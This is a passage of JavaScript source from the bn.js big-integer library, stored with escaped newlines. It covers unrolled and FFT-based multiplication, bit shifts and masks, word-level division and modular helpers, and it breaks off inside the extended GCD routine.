bh4)) | 0;\n mid = (mid + Math.imul(ah7, bl4)) | 0;\n hi = (hi + Math.imul(ah7, bh4)) | 0;\n lo = (lo + Math.imul(al6, bl5)) | 0;\n mid = (mid + Math.imul(al6, bh5)) | 0;\n mid = (mid + Math.imul(ah6, bl5)) | 0;\n hi = (hi + Math.imul(ah6, bh5)) | 0;\n lo = (lo + Math.imul(al5, bl6)) | 0;\n mid = (mid + Math.imul(al5, bh6)) | 0;\n mid = (mid + Math.imul(ah5, bl6)) | 0;\n hi = (hi + Math.imul(ah5, bh6)) | 0;\n lo = (lo + Math.imul(al4, bl7)) | 0;\n mid = (mid + Math.imul(al4, bh7)) | 0;\n mid = (mid + Math.imul(ah4, bl7)) | 0;\n hi = (hi + Math.imul(ah4, bh7)) | 0;\n lo = (lo + Math.imul(al3, bl8)) | 0;\n mid = (mid + Math.imul(al3, bh8)) | 0;\n mid = (mid + Math.imul(ah3, bl8)) | 0;\n hi = (hi + Math.imul(ah3, bh8)) | 0;\n lo = (lo + Math.imul(al2, bl9)) | 0;\n mid = (mid + Math.imul(al2, bh9)) | 0;\n mid = (mid + Math.imul(ah2, bl9)) | 0;\n hi = (hi + Math.imul(ah2, bh9)) | 0;\n var w11 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w11 >>> 26)) | 0;\n w11 &= 0x3ffffff;\n /* k = 12 */\n lo = Math.imul(al9, bl3);\n mid = Math.imul(al9, bh3);\n mid = (mid + Math.imul(ah9, bl3)) | 0;\n hi = Math.imul(ah9, bh3);\n lo = (lo + Math.imul(al8, bl4)) | 0;\n mid = (mid + Math.imul(al8, bh4)) | 0;\n mid = (mid + Math.imul(ah8, bl4)) | 0;\n hi = (hi + Math.imul(ah8, bh4)) | 0;\n lo = (lo + Math.imul(al7, bl5)) | 0;\n mid = (mid + Math.imul(al7, bh5)) | 0;\n mid = (mid + Math.imul(ah7, bl5)) | 0;\n hi = (hi + Math.imul(ah7, bh5)) | 0;\n lo = (lo + Math.imul(al6, bl6)) | 0;\n mid = (mid + Math.imul(al6, bh6)) | 0;\n mid = (mid + Math.imul(ah6, bl6)) | 0;\n hi = (hi + Math.imul(ah6, bh6)) | 0;\n lo = (lo + Math.imul(al5, bl7)) | 0;\n mid = (mid + Math.imul(al5, bh7)) | 0;\n mid = (mid + Math.imul(ah5, bl7)) | 0;\n hi = (hi + Math.imul(ah5, bh7)) | 0;\n lo = (lo + Math.imul(al4, bl8)) | 0;\n mid = (mid + Math.imul(al4, bh8)) | 0;\n mid = (mid + Math.imul(ah4, bl8)) | 0;\n hi = (hi + Math.imul(ah4, bh8)) | 0;\n lo = (lo + Math.imul(al3, bl9)) | 0;\n mid = (mid + Math.imul(al3, bh9)) | 0;\n mid = (mid + Math.imul(ah3, bl9)) | 0;\n hi = (hi + Math.imul(ah3, bh9)) | 0;\n var w12 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w12 >>> 26)) | 0;\n w12 &= 0x3ffffff;\n /* k = 13 */\n lo = Math.imul(al9, bl4);\n mid = Math.imul(al9, bh4);\n mid = (mid + Math.imul(ah9, bl4)) | 0;\n hi = Math.imul(ah9, bh4);\n lo = (lo + Math.imul(al8, bl5)) | 0;\n mid = (mid + Math.imul(al8, bh5)) | 0;\n mid = (mid + Math.imul(ah8, bl5)) | 0;\n hi = (hi + Math.imul(ah8, bh5)) | 0;\n lo = (lo + Math.imul(al7, bl6)) | 0;\n mid = (mid + Math.imul(al7, bh6)) | 0;\n mid = (mid + Math.imul(ah7, bl6)) | 0;\n hi = (hi + Math.imul(ah7, bh6)) | 0;\n lo = (lo + Math.imul(al6, bl7)) | 0;\n mid = (mid + Math.imul(al6, bh7)) | 0;\n mid = (mid + Math.imul(ah6, bl7)) | 0;\n hi = (hi + Math.imul(ah6, bh7)) | 0;\n lo = (lo + Math.imul(al5, bl8)) | 0;\n mid = (mid + Math.imul(al5, bh8)) | 0;\n mid = (mid + Math.imul(ah5, bl8)) | 0;\n hi = (hi + Math.imul(ah5, bh8)) | 0;\n lo = (lo + Math.imul(al4, bl9)) | 0;\n mid = (mid + Math.imul(al4, bh9)) | 0;\n mid = (mid + Math.imul(ah4, bl9)) | 0;\n hi = (hi + Math.imul(ah4, bh9)) | 0;\n var w13 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w13 >>> 26)) | 0;\n w13 &= 0x3ffffff;\n /* k = 14 */\n lo = Math.imul(al9, bl5);\n mid = Math.imul(al9, bh5);\n mid = (mid + Math.imul(ah9, bl5)) | 0;\n hi = Math.imul(ah9, bh5);\n lo = (lo + Math.imul(al8, bl6)) | 0;\n mid = (mid + Math.imul(al8, bh6)) | 0;\n mid = (mid + Math.imul(ah8, bl6)) | 0;\n hi = (hi + Math.imul(ah8, bh6)) | 0;\n lo = (lo + Math.imul(al7, bl7)) | 0;\n mid = (mid + Math.imul(al7, bh7)) | 0;\n mid = (mid + Math.imul(ah7, bl7)) | 0;\n hi = (hi + Math.imul(ah7, bh7)) | 0;\n lo = (lo + Math.imul(al6, bl8)) | 0;\n mid = (mid + Math.imul(al6, bh8)) | 0;\n mid = (mid + Math.imul(ah6, bl8)) | 0;\n hi = (hi + Math.imul(ah6, bh8)) | 0;\n lo = (lo + Math.imul(al5, bl9)) | 0;\n mid = (mid + Math.imul(al5, bh9)) | 0;\n mid = (mid + Math.imul(ah5, bl9)) | 0;\n hi = (hi + Math.imul(ah5, bh9)) | 0;\n var w14 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w14 >>> 26)) | 0;\n w14 &= 0x3ffffff;\n /* k = 15 */\n lo = Math.imul(al9, bl6);\n mid = Math.imul(al9, bh6);\n mid = (mid + Math.imul(ah9, bl6)) | 0;\n hi = Math.imul(ah9, bh6);\n lo = (lo + Math.imul(al8, bl7)) | 0;\n mid = (mid + Math.imul(al8, bh7)) | 0;\n mid = (mid + Math.imul(ah8, bl7)) | 0;\n hi = (hi + Math.imul(ah8, bh7)) | 0;\n lo = (lo + Math.imul(al7, bl8)) | 0;\n mid = (mid + Math.imul(al7, bh8)) | 0;\n mid = (mid + Math.imul(ah7, bl8)) | 0;\n hi = (hi + Math.imul(ah7, bh8)) | 0;\n lo = (lo + Math.imul(al6, bl9)) | 0;\n mid = (mid + Math.imul(al6, bh9)) | 0;\n mid = (mid + Math.imul(ah6, bl9)) | 0;\n hi = (hi + Math.imul(ah6, bh9)) | 0;\n var w15 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w15 >>> 26)) | 0;\n w15 &= 0x3ffffff;\n /* k = 16 */\n lo = Math.imul(al9, bl7);\n mid = Math.imul(al9, bh7);\n mid = (mid + Math.imul(ah9, bl7)) | 0;\n hi = Math.imul(ah9, bh7);\n lo = (lo + Math.imul(al8, bl8)) | 0;\n mid = (mid + Math.imul(al8, bh8)) | 0;\n mid = (mid + Math.imul(ah8, bl8)) | 0;\n hi = (hi + Math.imul(ah8, bh8)) | 0;\n lo = (lo + Math.imul(al7, bl9)) | 0;\n mid = (mid + Math.imul(al7, bh9)) | 0;\n mid = (mid + Math.imul(ah7, bl9)) | 0;\n hi = (hi + Math.imul(ah7, bh9)) | 0;\n var w16 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w16 >>> 26)) | 0;\n w16 &= 0x3ffffff;\n /* k = 17 */\n lo = Math.imul(al9, bl8);\n mid = Math.imul(al9, bh8);\n mid = (mid + Math.imul(ah9, bl8)) | 0;\n hi = Math.imul(ah9, bh8);\n lo = (lo + Math.imul(al8, bl9)) | 0;\n mid = (mid + Math.imul(al8, bh9)) | 0;\n mid = (mid + Math.imul(ah8, bl9)) | 0;\n hi = (hi + Math.imul(ah8, bh9)) | 0;\n var w17 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w17 >>> 26)) | 0;\n w17 &= 0x3ffffff;\n /* k = 18 */\n lo = Math.imul(al9, bl9);\n mid = Math.imul(al9, bh9);\n mid = (mid + Math.imul(ah9, bl9)) | 0;\n hi = Math.imul(ah9, bh9);\n var w18 = (((c + lo) | 0) + ((mid & 0x1fff) << 13)) | 0;\n c = (((hi + (mid >>> 13)) | 0) + (w18 >>> 26)) | 0;\n w18 &= 0x3ffffff;\n o[0] = w0;\n o[1] = w1;\n o[2] = w2;\n o[3] = w3;\n o[4] = w4;\n o[5] = w5;\n o[6] = w6;\n o[7] = w7;\n o[8] = w8;\n o[9] = w9;\n o[10] = w10;\n o[11] = w11;\n o[12] = w12;\n o[13] = w13;\n o[14] = w14;\n o[15] = w15;\n o[16] = w16;\n o[17] = w17;\n o[18] = w18;\n if (c !== 0) {\n o[19] = c;\n out.length++;\n }\n return out;\n };\n\n // Polyfill comb\n if (!Math.imul) {\n comb10MulTo = smallMulTo;\n }\n\n function bigMulTo (self, num, out) {\n out.negative = num.negative ^ self.negative;\n out.length = self.length + num.length;\n\n var carry = 0;\n var hncarry = 0;\n for (var k = 0; k < out.length - 1; k++) {\n // Sum all words with the same `i + j = k` and accumulate `ncarry`,\n // note that ncarry could be >= 0x3ffffff\n var ncarry = hncarry;\n hncarry = 0;\n var rword = carry & 0x3ffffff;\n var maxJ = Math.min(k, num.length - 1);\n for (var j = Math.max(0, k - self.length + 1); j <= maxJ; j++) {\n var i = k - j;\n var a = self.words[i] | 0;\n var b = num.words[j] | 0;\n var r = a * b;\n\n var lo = r & 0x3ffffff;\n ncarry = (ncarry + ((r / 0x4000000) | 0)) | 0;\n lo = (lo + rword) | 0;\n rword = lo & 0x3ffffff;\n ncarry = (ncarry + (lo >>> 26)) | 0;\n\n hncarry += ncarry >>> 26;\n ncarry &= 0x3ffffff;\n }\n out.words[k] = rword;\n carry = ncarry;\n ncarry = hncarry;\n }\n if (carry !== 0) {\n out.words[k] = carry;\n } else {\n out.length--;\n }\n\n return out._strip();\n }\n\n function jumboMulTo (self, num, out) {\n // Temporary disable, see https://github.com/indutny/bn.js/issues/211\n // var fftm = new FFTM();\n // return fftm.mulp(self, num, out);\n return bigMulTo(self, num, out);\n }\n\n BN.prototype.mulTo = function mulTo (num, out) {\n var res;\n var len = this.length + num.length;\n if (this.length === 10 && num.length === 10) {\n res = comb10MulTo(this, num, out);\n } else if (len < 63) {\n res = smallMulTo(this, num, out);\n } else if (len < 1024) {\n res = bigMulTo(this, num, out);\n } else {\n res = jumboMulTo(this, num, out);\n }\n\n return res;\n };\n\n // Cooley-Tukey algorithm for FFT\n // slightly revisited to rely on looping instead of recursion\n\n function FFTM (x, y) {\n this.x = x;\n this.y = y;\n }\n\n FFTM.prototype.makeRBT = function makeRBT (N) {\n var t = new Array(N);\n var l = BN.prototype._countBits(N) - 1;\n for (var i = 0; i < N; i++) {\n t[i] = this.revBin(i, l, N);\n }\n\n return t;\n };\n\n // Returns binary-reversed representation of `x`\n FFTM.prototype.revBin = function revBin (x, l, N) {\n if (x === 0 || x === N - 1) return x;\n\n var rb = 0;\n for (var i = 0; i < l; i++) {\n rb |= (x & 1) << (l - i - 1);\n x >>= 1;\n }\n\n return rb;\n };\n\n // Performs \"tweedling\" phase, therefore 'emulating'\n // behaviour of the recursive algorithm\n FFTM.prototype.permute = function permute (rbt, rws, iws, rtws, itws, N) {\n for (var i = 0; i < N; i++) {\n rtws[i] = rws[rbt[i]];\n itws[i] = iws[rbt[i]];\n }\n };\n\n FFTM.prototype.transform = function transform (rws, iws, rtws, itws, N, rbt) {\n this.permute(rbt, rws, iws, rtws, itws, N);\n\n for (var s = 1; s < N; s <<= 1) {\n var l = s << 1;\n\n var rtwdf = Math.cos(2 * Math.PI / l);\n var itwdf = Math.sin(2 * Math.PI / l);\n\n for (var p = 0; p < N; p += l) {\n var rtwdf_ = rtwdf;\n var itwdf_ = itwdf;\n\n for (var j = 0; j < s; j++) {\n var re = rtws[p + j];\n var ie = itws[p + j];\n\n var ro = rtws[p + j + s];\n var io = itws[p + j + s];\n\n var rx = rtwdf_ * ro - itwdf_ * io;\n\n io = rtwdf_ * io + itwdf_ * ro;\n ro = rx;\n\n rtws[p + j] = re + ro;\n itws[p + j] = ie + io;\n\n rtws[p + j + s] = re - ro;\n itws[p + j + s] = ie - io;\n\n /* jshint maxdepth : false */\n if (j !== l) {\n rx = rtwdf * rtwdf_ - itwdf * itwdf_;\n\n itwdf_ = rtwdf * itwdf_ + itwdf * rtwdf_;\n rtwdf_ = rx;\n }\n }\n }\n }\n };\n\n FFTM.prototype.guessLen13b = function guessLen13b (n, m) {\n var N = Math.max(m, n) | 1;\n var odd = N & 1;\n var i = 0;\n for (N = N / 2 | 0; N; N = N >>> 1) {\n i++;\n }\n\n return 1 << i + 1 + odd;\n };\n\n FFTM.prototype.conjugate = function conjugate (rws, iws, N) {\n if (N <= 1) return;\n\n for (var i = 0; i < N / 2; i++) {\n var t = rws[i];\n\n rws[i] = rws[N - i - 1];\n rws[N - i - 1] = t;\n\n t = iws[i];\n\n iws[i] = -iws[N - i - 1];\n iws[N - i - 1] = -t;\n }\n };\n\n FFTM.prototype.normalize13b = function normalize13b (ws, N) {\n var carry = 0;\n for (var i = 0; i < N / 2; i++) {\n var w = Math.round(ws[2 * i + 1] / N) * 0x2000 +\n Math.round(ws[2 * i] / N) +\n carry;\n\n ws[i] = w & 0x3ffffff;\n\n if (w < 0x4000000) {\n carry = 0;\n } else {\n carry = w / 0x4000000 | 0;\n }\n }\n\n return ws;\n };\n\n FFTM.prototype.convert13b = function convert13b (ws, len, rws, N) {\n var carry = 0;\n for (var i = 0; i < len; i++) {\n carry = carry + (ws[i] | 0);\n\n rws[2 * i] = carry & 0x1fff; carry = carry >>> 13;\n rws[2 * i + 1] = carry & 0x1fff; carry = carry >>> 13;\n }\n\n // Pad with zeroes\n for (i = 2 * len; i < N; ++i) {\n rws[i] = 0;\n }\n\n assert(carry === 0);\n assert((carry & ~0x1fff) === 0);\n };\n\n FFTM.prototype.stub = function stub (N) {\n var ph = new Array(N);\n for (var i = 0; i < N; i++) {\n ph[i] = 0;\n }\n\n return ph;\n };\n\n FFTM.prototype.mulp = function mulp (x, y, out) {\n var N = 2 * this.guessLen13b(x.length, y.length);\n\n var rbt = this.makeRBT(N);\n\n var _ = this.stub(N);\n\n var rws = new Array(N);\n var rwst = new Array(N);\n var iwst = new Array(N);\n\n var nrws = new Array(N);\n var nrwst = new Array(N);\n var niwst = new Array(N);\n\n var rmws = out.words;\n rmws.length = N;\n\n this.convert13b(x.words, x.length, rws, N);\n this.convert13b(y.words, y.length, nrws, N);\n\n this.transform(rws, _, rwst, iwst, N, rbt);\n this.transform(nrws, _, nrwst, niwst, N, rbt);\n\n for (var i = 0; i < N; i++) {\n var rx = rwst[i] * nrwst[i] - iwst[i] * niwst[i];\n iwst[i] = rwst[i] * niwst[i] + iwst[i] * nrwst[i];\n rwst[i] = rx;\n }\n\n this.conjugate(rwst, iwst, N);\n this.transform(rwst, iwst, rmws, _, N, rbt);\n this.conjugate(rmws, _, N);\n this.normalize13b(rmws, N);\n\n out.negative = x.negative ^ y.negative;\n out.length = x.length + y.length;\n return out._strip();\n };\n\n // Multiply `this` by `num`\n BN.prototype.mul = function mul (num) {\n var out = new BN(null);\n out.words = new Array(this.length + num.length);\n return this.mulTo(num, out);\n };\n\n // Multiply employing FFT\n BN.prototype.mulf = function mulf (num) {\n var out = new BN(null);\n out.words = new Array(this.length + num.length);\n return jumboMulTo(this, num, out);\n };\n\n // In-place Multiplication\n BN.prototype.imul = function imul (num) {\n return this.clone().mulTo(num, this);\n };\n\n BN.prototype.imuln = function imuln (num) {\n var isNegNum = num < 0;\n if (isNegNum) num = -num;\n\n assert(typeof num === 'number');\n assert(num < 0x4000000);\n\n // Carry\n var carry = 0;\n for (var i = 0; i < this.length; i++) {\n var w = (this.words[i] | 0) * num;\n var lo = (w & 0x3ffffff) + (carry & 0x3ffffff);\n carry >>= 26;\n carry += (w / 0x4000000) | 0;\n // NOTE: lo is 27bit maximum\n carry += lo >>> 26;\n this.words[i] = lo & 0x3ffffff;\n }\n\n if (carry !== 0) {\n this.words[i] = carry;\n this.length++;\n }\n\n return isNegNum ? this.ineg() : this;\n };\n\n BN.prototype.muln = function muln (num) {\n return this.clone().imuln(num);\n };\n\n // `this` * `this`\n BN.prototype.sqr = function sqr () {\n return this.mul(this);\n };\n\n // `this` * `this` in-place\n BN.prototype.isqr = function isqr () {\n return this.imul(this.clone());\n };\n\n // Math.pow(`this`, `num`)\n BN.prototype.pow = function pow (num) {\n var w = toBitArray(num);\n if (w.length === 0) return new BN(1);\n\n // Skip leading zeroes\n var res = this;\n for (var i = 0; i < w.length; i++, res = res.sqr()) {\n if (w[i] !== 0) break;\n }\n\n if (++i < w.length) {\n for (var q = res.sqr(); i < w.length; i++, q = q.sqr()) {\n if (w[i] === 0) continue;\n\n res = res.mul(q);\n }\n }\n\n return res;\n };\n\n // Shift-left in-place\n BN.prototype.iushln = function iushln (bits) {\n assert(typeof bits === 'number' && bits >= 0);\n var r = bits % 26;\n var s = (bits - r) / 26;\n var carryMask = (0x3ffffff >>> (26 - r)) << (26 - r);\n var i;\n\n if (r !== 0) {\n var carry = 0;\n\n for (i = 0; i < this.length; i++) {\n var newCarry = this.words[i] & carryMask;\n var c = ((this.words[i] | 0) - newCarry) << r;\n this.words[i] = c | carry;\n carry = newCarry >>> (26 - r);\n }\n\n if (carry) {\n this.words[i] = carry;\n this.length++;\n }\n }\n\n if (s !== 0) {\n for (i = this.length - 1; i >= 0; i--) {\n this.words[i + s] = this.words[i];\n }\n\n for (i = 0; i < s; i++) {\n this.words[i] = 0;\n }\n\n this.length += s;\n }\n\n return this._strip();\n };\n\n BN.prototype.ishln = function ishln (bits) {\n // TODO(indutny): implement me\n assert(this.negative === 0);\n return this.iushln(bits);\n };\n\n // Shift-right in-place\n // NOTE: `hint` is a lowest bit before trailing zeroes\n // NOTE: if `extended` is present - it will be filled with destroyed bits\n BN.prototype.iushrn = function iushrn (bits, hint, extended) {\n assert(typeof bits === 'number' && bits >= 0);\n var h;\n if (hint) {\n h = (hint - (hint % 26)) / 26;\n } else {\n h = 0;\n }\n\n var r = bits % 26;\n var s = Math.min((bits - r) / 26, this.length);\n var mask = 0x3ffffff ^ ((0x3ffffff >>> r) << r);\n var maskedWords = extended;\n\n h -= s;\n h = Math.max(0, h);\n\n // Extended mode, copy masked part\n if (maskedWords) {\n for (var i = 0; i < s; i++) {\n maskedWords.words[i] = this.words[i];\n }\n maskedWords.length = s;\n }\n\n if (s === 0) {\n // No-op, we should not move anything at all\n } else if (this.length > s) {\n this.length -= s;\n for (i = 0; i < this.length; i++) {\n this.words[i] = this.words[i + s];\n }\n } else {\n this.words[0] = 0;\n this.length = 1;\n }\n\n var carry = 0;\n for (i = this.length - 1; i >= 0 && (carry !== 0 || i >= h); i--) {\n var word = this.words[i] | 0;\n this.words[i] = (carry << (26 - r)) | (word >>> r);\n carry = word & mask;\n }\n\n // Push carried bits as a mask\n if (maskedWords && carry !== 0) {\n maskedWords.words[maskedWords.length++] = carry;\n }\n\n if (this.length === 0) {\n this.words[0] = 0;\n this.length = 1;\n }\n\n return this._strip();\n };\n\n BN.prototype.ishrn = function ishrn (bits, hint, extended) {\n // TODO(indutny): implement me\n assert(this.negative === 0);\n return this.iushrn(bits, hint, extended);\n };\n\n // Shift-left\n BN.prototype.shln = function shln (bits) {\n return this.clone().ishln(bits);\n };\n\n BN.prototype.ushln = function ushln (bits) {\n return this.clone().iushln(bits);\n };\n\n // Shift-right\n BN.prototype.shrn = function shrn (bits) {\n return this.clone().ishrn(bits);\n };\n\n BN.prototype.ushrn = function ushrn (bits) {\n return this.clone().iushrn(bits);\n };\n\n // Test if n bit is set\n BN.prototype.testn = function testn (bit) {\n assert(typeof bit === 'number' && bit >= 0);\n var r = bit % 26;\n var s = (bit - r) / 26;\n var q = 1 << r;\n\n // Fast case: bit is much higher than all existing words\n if (this.length <= s) return false;\n\n // Check bit and return\n var w = this.words[s];\n\n return !!(w & q);\n };\n\n // Return only lowers bits of number (in-place)\n BN.prototype.imaskn = function imaskn (bits) {\n assert(typeof bits === 'number' && bits >= 0);\n var r = bits % 26;\n var s = (bits - r) / 26;\n\n assert(this.negative === 0, 'imaskn works only with positive numbers');\n\n if (this.length <= s) {\n return this;\n }\n\n if (r !== 0) {\n s++;\n }\n this.length = Math.min(s, this.length);\n\n if (r !== 0) {\n var mask = 0x3ffffff ^ ((0x3ffffff >>> r) << r);\n this.words[this.length - 1] &= mask;\n }\n\n return this._strip();\n };\n\n // Return only lowers bits of number\n BN.prototype.maskn = function maskn (bits) {\n return this.clone().imaskn(bits);\n };\n\n // Add plain number `num` to `this`\n BN.prototype.iaddn = function iaddn (num) {\n assert(typeof num === 'number');\n assert(num < 0x4000000);\n if (num < 0) return this.isubn(-num);\n\n // Possible sign change\n if (this.negative !== 0) {\n if (this.length === 1 && (this.words[0] | 0) <= num) {\n this.words[0] = num - (this.words[0] | 0);\n this.negative = 0;\n return this;\n }\n\n this.negative = 0;\n this.isubn(num);\n this.negative = 1;\n return this;\n }\n\n // Add without checks\n return this._iaddn(num);\n };\n\n BN.prototype._iaddn = function _iaddn (num) {\n this.words[0] += num;\n\n // Carry\n for (var i = 0; i < this.length && this.words[i] >= 0x4000000; i++) {\n this.words[i] -= 0x4000000;\n if (i === this.length - 1) {\n this.words[i + 1] = 1;\n } else {\n this.words[i + 1]++;\n }\n }\n this.length = Math.max(this.length, i + 1);\n\n return this;\n };\n\n // Subtract plain number `num` from `this`\n BN.prototype.isubn = function isubn (num) {\n assert(typeof num === 'number');\n assert(num < 0x4000000);\n if (num < 0) return this.iaddn(-num);\n\n if (this.negative !== 0) {\n this.negative = 0;\n this.iaddn(num);\n this.negative = 1;\n return this;\n }\n\n this.words[0] -= num;\n\n if (this.length === 1 && this.words[0] < 0) {\n this.words[0] = -this.words[0];\n this.negative = 1;\n } else {\n // Carry\n for (var i = 0; i < this.length && this.words[i] < 0; i++) {\n this.words[i] += 0x4000000;\n this.words[i + 1] -= 1;\n }\n }\n\n return this._strip();\n };\n\n BN.prototype.addn = function addn (num) {\n return this.clone().iaddn(num);\n };\n\n BN.prototype.subn = function subn (num) {\n return this.clone().isubn(num);\n };\n\n BN.prototype.iabs = function iabs () {\n this.negative = 0;\n\n return this;\n };\n\n BN.prototype.abs = function abs () {\n return this.clone().iabs();\n };\n\n BN.prototype._ishlnsubmul = function _ishlnsubmul (num, mul, shift) {\n var len = num.length + shift;\n var i;\n\n this._expand(len);\n\n var w;\n var carry = 0;\n for (i = 0; i < num.length; i++) {\n w = (this.words[i + shift] | 0) + carry;\n var right = (num.words[i] | 0) * mul;\n w -= right & 0x3ffffff;\n carry = (w >> 26) - ((right / 0x4000000) | 0);\n this.words[i + shift] = w & 0x3ffffff;\n }\n for (; i < this.length - shift; i++) {\n w = (this.words[i + shift] | 0) + carry;\n carry = w >> 26;\n this.words[i + shift] = w & 0x3ffffff;\n }\n\n if (carry === 0) return this._strip();\n\n // Subtraction overflow\n assert(carry === -1);\n carry = 0;\n for (i = 0; i < this.length; i++) {\n w = -(this.words[i] | 0) + carry;\n carry = w >> 26;\n this.words[i] = w & 0x3ffffff;\n }\n this.negative = 1;\n\n return this._strip();\n };\n\n BN.prototype._wordDiv = function _wordDiv (num, mode) {\n var shift = this.length - num.length;\n\n var a = this.clone();\n var b = num;\n\n // Normalize\n var bhi = b.words[b.length - 1] | 0;\n var bhiBits = this._countBits(bhi);\n shift = 26 - bhiBits;\n if (shift !== 0) {\n b = b.ushln(shift);\n a.iushln(shift);\n bhi = b.words[b.length - 1] | 0;\n }\n\n // Initialize quotient\n var m = a.length - b.length;\n var q;\n\n if (mode !== 'mod') {\n q = new BN(null);\n q.length = m + 1;\n q.words = new Array(q.length);\n for (var i = 0; i < q.length; i++) {\n q.words[i] = 0;\n }\n }\n\n var diff = a.clone()._ishlnsubmul(b, 1, m);\n if (diff.negative === 0) {\n a = diff;\n if (q) {\n q.words[m] = 1;\n }\n }\n\n for (var j = m - 1; j >= 0; j--) {\n var qj = (a.words[b.length + j] | 0) * 0x4000000 +\n (a.words[b.length + j - 1] | 0);\n\n // NOTE: (qj / bhi) is (0x3ffffff * 0x4000000 + 0x3ffffff) / 0x2000000 max\n // (0x7ffffff)\n qj = Math.min((qj / bhi) | 0, 0x3ffffff);\n\n a._ishlnsubmul(b, qj, j);\n while (a.negative !== 0) {\n qj--;\n a.negative = 0;\n a._ishlnsubmul(b, 1, j);\n if (!a.isZero()) {\n a.negative ^= 1;\n }\n }\n if (q) {\n q.words[j] = qj;\n }\n }\n if (q) {\n q._strip();\n }\n a._strip();\n\n // Denormalize\n if (mode !== 'div' && shift !== 0) {\n a.iushrn(shift);\n }\n\n return {\n div: q || null,\n mod: a\n };\n };\n\n // NOTE: 1) `mode` can be set to `mod` to request mod only,\n // to `div` to request div only, or be absent to\n // request both div & mod\n // 2) `positive` is true if unsigned mod is requested\n BN.prototype.divmod = function divmod (num, mode, positive) {\n assert(!num.isZero());\n\n if (this.isZero()) {\n return {\n div: new BN(0),\n mod: new BN(0)\n };\n }\n\n var div, mod, res;\n if (this.negative !== 0 && num.negative === 0) {\n res = this.neg().divmod(num, mode);\n\n if (mode !== 'mod') {\n div = res.div.neg();\n }\n\n if (mode !== 'div') {\n mod = res.mod.neg();\n if (positive && mod.negative !== 0) {\n mod.iadd(num);\n }\n }\n\n return {\n div: div,\n mod: mod\n };\n }\n\n if (this.negative === 0 && num.negative !== 0) {\n res = this.divmod(num.neg(), mode);\n\n if (mode !== 'mod') {\n div = res.div.neg();\n }\n\n return {\n div: div,\n mod: res.mod\n };\n }\n\n if ((this.negative & num.negative) !== 0) {\n res = this.neg().divmod(num.neg(), mode);\n\n if (mode !== 'div') {\n mod = res.mod.neg();\n if (positive && mod.negative !== 0) {\n mod.isub(num);\n }\n }\n\n return {\n div: res.div,\n mod: mod\n };\n }\n\n // Both numbers are positive at this point\n\n // Strip both numbers to approximate shift value\n if (num.length > this.length || this.cmp(num) < 0) {\n return {\n div: new BN(0),\n mod: this\n };\n }\n\n // Very short reduction\n if (num.length === 1) {\n if (mode === 'div') {\n return {\n div: this.divn(num.words[0]),\n mod: null\n };\n }\n\n if (mode === 'mod') {\n return {\n div: null,\n mod: new BN(this.modrn(num.words[0]))\n };\n }\n\n return {\n div: this.divn(num.words[0]),\n mod: new BN(this.modrn(num.words[0]))\n };\n }\n\n return this._wordDiv(num, mode);\n };\n\n // Find `this` / `num`\n BN.prototype.div = function div (num) {\n return this.divmod(num, 'div', false).div;\n };\n\n // Find `this` % `num`\n BN.prototype.mod = function mod (num) {\n return this.divmod(num, 'mod', false).mod;\n };\n\n BN.prototype.umod = function umod (num) {\n return this.divmod(num, 'mod', true).mod;\n };\n\n // Find Round(`this` / `num`)\n BN.prototype.divRound = function divRound (num) {\n var dm = this.divmod(num);\n\n // Fast case - exact division\n if (dm.mod.isZero()) return dm.div;\n\n var mod = dm.div.negative !== 0 ? dm.mod.isub(num) : dm.mod;\n\n var half = num.ushrn(1);\n var r2 = num.andln(1);\n var cmp = mod.cmp(half);\n\n // Round down\n if (cmp < 0 || (r2 === 1 && cmp === 0)) return dm.div;\n\n // Round up\n return dm.div.negative !== 0 ? dm.div.isubn(1) : dm.div.iaddn(1);\n };\n\n BN.prototype.modrn = function modrn (num) {\n var isNegNum = num < 0;\n if (isNegNum) num = -num;\n\n assert(num <= 0x3ffffff);\n var p = (1 << 26) % num;\n\n var acc = 0;\n for (var i = this.length - 1; i >= 0; i--) {\n acc = (p * acc + (this.words[i] | 0)) % num;\n }\n\n return isNegNum ? -acc : acc;\n };\n\n // WARNING: DEPRECATED\n BN.prototype.modn = function modn (num) {\n return this.modrn(num);\n };\n\n // In-place division by number\n BN.prototype.idivn = function idivn (num) {\n var isNegNum = num < 0;\n if (isNegNum) num = -num;\n\n assert(num <= 0x3ffffff);\n\n var carry = 0;\n for (var i = this.length - 1; i >= 0; i--) {\n var w = (this.words[i] | 0) + carry * 0x4000000;\n this.words[i] = (w / num) | 0;\n carry = w % num;\n }\n\n this._strip();\n return isNegNum ? this.ineg() : this;\n };\n\n BN.prototype.divn = function divn (num) {\n return this.clone().idivn(num);\n };\n\n BN.prototype.egcd = function egcd (p) {\n assert(p.negative === 0);\n assert(!p.isZero());\n\n var x = this;\n var y = p.clone();\n\n if (x.negative !== 0) {\n x = x.umod(p);\n } else {\n x = x.clone();\n }\n\n // A * x + B * y = x\n var A = new BN(1);\n var B = new BN(0);\n\n // C * x + D * y = y\n var C = new BN(0);\n var D = new BN(1);\n\n var g = 0;\n\n while (x.isEven() && y.isEven()) {\n x.iushrn(1);\n y.iushrn(1);\n ++g;\n }\n\n var yp = y.clone();\n var xp = x.clone();\n\n while (!x.isZero()) {\n for (var i = 0, im = 1; (x.words[0] & im) === 0 && i < 26; ++i, im <<= 1);\n if (i > 0) {\n x.iushrn(i);\n while (i-- > 0) {\n if (A.isOdd() || B.isOdd()) {\n A.iadd(yp);\n B.isub(xp);\n }\n\n A.iushrn(1);\n B.iushrn(1);\n }\n }\n\n for (var j = 0, jm = 1; (y.words[0] & jm) === 0 && j < 26; ++j, jm <<= 1);\n if (j > 0) {\n y.iushrn(j);\n while (j-- > 0) {\n if (C.isOdd() || D.isOdd()) {\n C.iadd(yp);\n D.isub(xp);\n }\n\n C.iushrn(1);\n D.iushrn(1);\n }\n }\n\n if (x.cmp(y) 